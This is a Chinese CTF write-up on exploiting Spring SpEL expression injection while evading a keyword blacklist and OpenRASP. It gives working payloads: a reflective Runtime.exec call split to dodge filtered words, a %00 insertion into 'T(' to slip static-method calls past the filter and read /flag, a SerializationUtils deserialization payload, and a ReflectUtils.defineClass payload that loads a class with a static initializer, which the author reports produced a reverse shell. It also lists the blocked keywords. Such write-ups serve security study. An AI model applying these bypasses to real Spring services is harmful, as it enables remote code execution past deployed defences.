bypass openrasp SpEL RCE 的过程及思考

一. 背景

朋友发来一道 CTF 题目,考察的是 SpEL 表达式注入的利用,目的是读出固定位置 flag 文件/flag ,难点是目标机器上安装了 openrasp,并设有额外的关键词检查。

感觉挺有意思,就实际动手玩了下。

二. 测试代码

根据线上代码的测试情况,推测实际起作用的代码可能如下:

import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;

String spel = "''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('ex'+'ec',''.getClass()).invoke(''.getClass().forName('java.la'+'ng.Ru'+'ntime').getMethod('getRu'+'ntime').invoke(null),'open -a Calculator')";
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(spel);
expression.getValue().toString();

三. 测试思路

二. 测试代码 在本地测试,发现很容易就能执行代码,但是在线上的实际环境中确没有执行成功。

于是粗测了下线上 openrasp 防护的环境,发现在没有进入 openrasp 层面的检查前,首先会十分暴力的直接拦截请求体中以下关键词:

ProcessBuilder
java.lang
getClass
Runtime
new
T(
#

所以像上文测试代码中的 ''.getClass().forName('java.la'+'ng.Ru'+'ntime') 虽然避免了 java.langRuntime 关键词,但是会因为含有 getClass 关键词而被拦截。

当然,我们依然可以使用 ''.class.getSuperclass().class.forName 替换 ''.getClass().forName 来绕过对 getClass 关键词的拦截,最终构造出来如下执行命令的代码:

''.class.getSuperclass().class.forName('java.la'%2B'ng.Ru'%2B'ntime').getMethod('ex'%2B'ec',''.class).invoke(''.class.getSuperclass().class.forName('java.la'%2B'ng.Ru'%2B'ntime').getMethod('getRu'%2B'ntime').invoke(null),'id')

当绕过关键词检查后,又触发了 openrasp 层面对执行命令的函数的检查:

因为目的是读文件,所以可以先不关注命令执行。

简单分析一下,发现最致命的是拦截了 new 这个关键词,试图阻止我们创建对象实例,这样就会导致很多奇技淫巧没办法施展。

仅仅是读文件,当缺少 new 这个关键词时,在 SpEL 表达式中执行也不是那么容易。但是,我们依然可以尝试找到合适的静态方法执行代码,而绕过显示的创建对象实例这个步骤。

比如,JDK 7 及以上版本中,可以用以下代码来读取文本文件:

java.nio.file.Files.readAllLines(java.nio.file.Paths.get("/flag"), java.nio.charset.Charset.defaultCharset())

转换成 SpEL 语法:

T(java.nio.file.Files).readAllLines(T(java.nio.file.Paths).get('/flag'), T(java.nio.charset.Charset).defaultCharset())

但是因为含有 T(关键词,还没有到 openrasp 层面就被拦截了。

我简单的尝试了在 T( 字符中间增加常见的空白字符,如空格、换行符号,无法绕过检查,所以暂时搁置了这种方法。

因此,从上文的初步测试和分析来看,绕过上文描述的系统进行 SpEL 表达式注入有两个关键点:

  • 创建一个对象实例又不被拦截(不含 new 关键词)
  • 找到合适的静态方法执行代码(同时不使用或者绕过对 T( 关键词的拦截)

四. 创建对象的六种方法

Java 中创建对象的方法大概有下面这六种:

  • 使用 new 关键字
  • Class 类的 newInstance() 方法
  • Constructor 类的 newInstance() 方法
  • Object 对象的 clone 方法
  • 反序列化创建对象
  • 使用 Unsafe 类创建对象

前三种都因为含有 new 关键词而无法使用,第四种需要借助已经生成的对象实例,所以也无法使用。

因此可以集中精力研究第5和第6中方法来创建对象:

反序列化创建对象

一个简单的从文件中进行反序列化的主要代码示例如下:

FileInputStream fis=new FileInputStream("object.ser");
ObjectInputStream ois=new ObjectInputStream(fis);
ois.readObject();

可以发现普通的反序列化即使可以通过反序列化创建对象,但是也绕不过创建 ObjectInputStream 实例时对 new 关键词的检查。

使用 Unsafe 类创建对象

Unsafe 是位于 sun.misc 包下的一个类,其中的 allocateInstance 方法可以在只提供具体类的 Class 对象的情况下用来创建类的实例对象。

正常利用代码中可以结合 defineClass 避免使用 new 关键词而直接完成类的创建和实例化:

String payload = "yv66vgAAA...";
byte[] bytes = sun.misc.BASE64Decoder.class.newInstance().decodeBuffer(payload);
java.lang.reflect.Field field = sun.misc.Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
sun.misc.Unsafe unsafe = (sun.misc.Unsafe) field.get(null);
unsafe.allocateInstance(unsafe.defineClass("Exploit", bytes, 0, bytes.length));

但是因为当前环境中没办法完成赋值操作,也执行不了多语句,所以目前这种方法也不能在上文提到的 SpEL 环境中使用。

五. 使用静态方法执行代码

上文一再提到对 T( 关键词的拦截,那是因为在 SpEL中, T 操作符可以被用来指定一个 java.lang.Class 类型的实例,同时静态方法也可以使用该运算符调用。

通俗点来讲:

  • 普通 java 代码中的 String.class 在 SpEL 表达式中可以用 T(String) 来表示;
  • A 类中的静态方法 b 在普通 java 代码中可以直接用 A.b 来调用,在 SpEL 表达式中就可以用 T(A).b 来调用

上文中提到,插入空格和换行并没有绕过对 T( 关键词的过滤,如果能够绕过,就可以使用上文中提到的静态方法直接读出 /flag 文件。

那么是否真的就绕不过去呢?于是,我 debug 了下 SpEL 解析的代码,发现在 spring-expression-5.2.5.RELEASE.jar!/org/springframework/expression/spel/standard/Tokenizer.class 中有段代码如下:

public List<Token> process() {
    while(this.pos < this.max) {
        char ch = this.charsToProcess[this.pos];
        if (this.isAlphabetic(ch)) {
            this.lexIdentifier();
        } else {
            switch(ch) {
            case '\u0000':
                ++this.pos;
                break;
            case '\u0001':
            case '\u0002':
            case '\u0003':
            case '\u0004':
            case '\u0005':
            case '\u0006':
            case '\u0007':
            case '\b':
            case '\u000b':
            case '\f':
            case '\u000e':
            case '\u000f':
            case '\u0010':
            case '\u0011':
            case '\u0012':
            case '\u0013':
            case '\u0014':
            case '\u0015':
            case '\u0016':
            case '\u0017':
            case '\u0018':
            case '\u0019':
            case '\u001a':
            case '\u001b':
            case '\u001c':
            case '\u001d':
            case '\u001e':
            case '\u001f':
            case ';':
            case 'A':
            case 'B':
            case 'C':
            case 'D':
            case 'E':
            case 'F':
            case 'G':
            case 'H':
            case 'I':
            case 'J':
            case 'K':
            case 'L':
            case 'M':
            case 'N':
            case 'O':
            case 'P':
            case 'Q':
            case 'R':
            case 'S':
            case 'T':
            case 'U':
            case 'V':
            case 'W':
            case 'X':
            case 'Y':
            case 'Z':
            case '`':
            case 'a':
            case 'b':
            case 'c':
            case 'd':
            case 'e':
            case 'f':
            case 'g':
            case 'h':
            case 'i':
            case 'j':
            case 'k':
            case 'l':
            case 'm':
            case 'n':
            case 'o':
            case 'p':
            case 'q':
            case 'r':
            case 's':
            case 't':
            case 'u':
            case 'v':
            case 'w':
            case 'x':
            case 'y':
            case 'z':
            default:
                throw new IllegalStateException("Cannot handle (" + ch + ") '" + ch + "'");
            case '\t':
            case '\n':
            case '\r':
            case ' ':
                ++this.pos;
                break;
            case '!':
                if (this.isTwoCharToken(TokenKind.NE)) {
                    this.pushPairToken(TokenKind.NE);
                } else {
                    if (this.isTwoCharToken(TokenKind.PROJECT)) {
                        this.pushPairToken(TokenKind.PROJECT);
                        continue;
                    }

                    this.pushCharToken(TokenKind.NOT);
                }
                break;
            case '"':
                this.lexDoubleQuotedStringLiteral();
                break;
            case '#':
                this.pushCharToken(TokenKind.HASH);
                break;
            case '$':
                if (this.isTwoCharToken(TokenKind.SELECT_LAST)) {
                    this.pushPairToken(TokenKind.SELECT_LAST);
                    break;
                }

                this.lexIdentifier();
                break;
            case '%':
                this.pushCharToken(TokenKind.MOD);
                break;
            case '&':
                if (this.isTwoCharToken(TokenKind.SYMBOLIC_AND)) {
                    this.pushPairToken(TokenKind.SYMBOLIC_AND);
                    break;
                }

                this.pushCharToken(TokenKind.FACTORY_BEAN_REF);
                break;
            case '\'':
                this.lexQuotedStringLiteral();
                break;
            case '(':
                this.pushCharToken(TokenKind.LPAREN);
                break;
            case ')':
                this.pushCharToken(TokenKind.RPAREN);
                break;
            case '*':
                this.pushCharToken(TokenKind.STAR);
                break;
            case '+':
                if (this.isTwoCharToken(TokenKind.INC)) {
                    this.pushPairToken(TokenKind.INC);
                    break;
                }

                this.pushCharToken(TokenKind.PLUS);
                break;
            case ',':
                this.pushCharToken(TokenKind.COMMA);
                break;
            case '-':
                if (this.isTwoCharToken(TokenKind.DEC)) {
                    this.pushPairToken(TokenKind.DEC);
                    break;
                }

                this.pushCharToken(TokenKind.MINUS);
                break;
            case '.':
                this.pushCharToken(TokenKind.DOT);
                break;
            case '/':
                this.pushCharToken(TokenKind.DIV);
                break;
            case '0':
            case '1':
            case '2':
            case '3':
            case '4':
            case '5':
            case '6':
            case '7':
            case '8':
            case '9':
                this.lexNumericLiteral(ch == '0');
                break;
            case ':':
                this.pushCharToken(TokenKind.COLON);
                break;
            case '<':
                if (this.isTwoCharToken(TokenKind.LE)) {
                    this.pushPairToken(TokenKind.LE);
                    break;
                }

                this.pushCharToken(TokenKind.LT);
                break;
            case '=':
                if (this.isTwoCharToken(TokenKind.EQ)) {
                    this.pushPairToken(TokenKind.EQ);
                    break;
                }

                this.pushCharToken(TokenKind.ASSIGN);
                break;
            case '>':
                if (this.isTwoCharToken(TokenKind.GE)) {
                    this.pushPairToken(TokenKind.GE);
                    break;
                }

                this.pushCharToken(TokenKind.GT);
                break;
            case '?':
                if (this.isTwoCharToken(TokenKind.SELECT)) {
                    this.pushPairToken(TokenKind.SELECT);
                } else if (this.isTwoCharToken(TokenKind.ELVIS)) {
                    this.pushPairToken(TokenKind.ELVIS);
                } else {
                    if (this.isTwoCharToken(TokenKind.SAFE_NAVI)) {
                        this.pushPairToken(TokenKind.SAFE_NAVI);
                        continue;
                    }

                    this.pushCharToken(TokenKind.QMARK);
                }
                break;
            case '@':
                this.pushCharToken(TokenKind.BEAN_REF);
                break;
            case '[':
                this.pushCharToken(TokenKind.LSQUARE);
                break;
            case '\\':
                this.raiseParseException(this.pos, SpelMessage.UNEXPECTED_ESCAPE_CHAR);
                break;
            case ']':
                this.pushCharToken(TokenKind.RSQUARE);
                break;
            case '^':
                if (this.isTwoCharToken(TokenKind.SELECT_FIRST)) {
                    this.pushPairToken(TokenKind.SELECT_FIRST);
                    break;
                }

                this.pushCharToken(TokenKind.POWER);
                break;
            case '_':
                this.lexIdentifier();
                break;
            case '{':
                this.pushCharToken(TokenKind.LCURLY);
                break;
            case '|':
                if (!this.isTwoCharToken(TokenKind.SYMBOLIC_OR)) {
                    this.raiseParseException(this.pos, SpelMessage.MISSING_CHARACTER, "|");
                }

                this.pushPairToken(TokenKind.SYMBOLIC_OR);
                break;
            case '}':
                this.pushCharToken(TokenKind.RCURLY);
            }
        }
    }

    return this.tokens;
}

上面的代码在解析字符时,将空格字符和 \u0000 字符当成了空白符号,遇到就会 ++this.pos,所以,直接尝试在 T( 字符中间插入 %00 ,然后成功进行了绕过。

使用前面提到的静态方法读文件的代码,在 T( 字符串中间插入 %00 字符绕过关键词检查,openrasp 也没有拦截正常的读文件方法,所以可以成功读取文件:

到这里测试的目的就达到了,不过光读文件还是不太好,最好是能够执行任意代码,达到命令执行的效果。

结合上面讲到的反序列化创建对象的方法,可以用 spring 自封装的静态方法 org.springframework.util.SerializationUtils.deserialize,在规避 new 关键词的同时反序列化执行代码,再结合 base64 的静态方法,具体 SpEL 表达式可写为:

T(org.springframework.util.SerializationUtils).deserialize(T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('rO0AB...'))

这样,把反序列化数据用 base64 编码后就可以用 SpEL 执行了,实际测试可以执行 URLDNS 的反序列化 payload:

虽然方法可行,但是在实际环境中大概试了几个常用反序列化 gadget,发现没成功, 不清楚是环境中没有相关 gadget 还是被 openrasp 拦截了,也就没继续测试下去。

六. 绕过 openrasp 执行自定义代码

本篇文章到此就应该结束了,但是奈何我又突然想起设计模式中的一个知识点: 饿汉式单例模式 ,按照我们的需求,它可以简化成下面这样的代码:

public class Singleton {
    private static Singleton s = new Singleton();

    private Singleton() {
        ......
    }

}

由于设置了 static 类型的类属性 Singleton s = new Singleton(),再结合类加载的知识,那么只要加载 Singleton 类,jvm 就会自动帮我们 new Singleton() 实例化,所以只要把恶意代码写在默认的类构造器中,就不需要显示的实例化类,也能执行我们的代码了。当然,直接使用更为熟悉的 static{} 代码块也有相同的效果。

既然突破了创建对象这一关,剩下的就是想办法加载我们的恶意类了。

功夫不负有心人,结合上面提到的使用静态方法执行代码的技巧,我找到 spring 中的一个关键类 org.springframework.cglib.core.ReflectUtils,其中有个 defineClass 静态方法:

public static Class defineClass(String className, byte[] b, ClassLoader loader) throws Exception {
    return defineClass(className, b, loader, PROTECTION_DOMAIN);
}

方法需要传入 类名类的字节码字节数组类加载器 就可以成功的加载恶意类,完美符合我们的要求。

在构造代码时,为了方便我又在 spring 中找了一个获取 ClassLoader 的静态方法 org.springframework.util.ClassUtils.getDefaultClassLoader(),然后构造的 SpEL 表达式:

T(org.springframework.cglib.core.ReflectUtils).defineClass('Singleton',T(com.sun.org.apache.xml.internal.security.utils.Base64).decode('yv66vgAAADIAtQ....'),T(org.springframework.util.ClassUtils).getDefaultClassLoader())

最后,结合 %00 绕过对 T( 关键词的过滤,执行了自定代码,成功的绕过 openrasp 反弹 shell:

七. 后记

本文详细记录了对 SpEL 代码执行环境中关键词检查的分析及绕过过程,并通过静态方法读取了目标 flag 文件;

最后结合 static 关键词的特点和 java 类加载特性,没有使用 new 关键词在 SpEL 中实现了类的实例化,利用类加载绕过 openrasp 成功执行了自定义代码。

八. 参考文章

Spring 表达式语言 (SpEL)

Java创建对象的第6种方式

Java魔法类:Unsafe应用解析

标签   

评论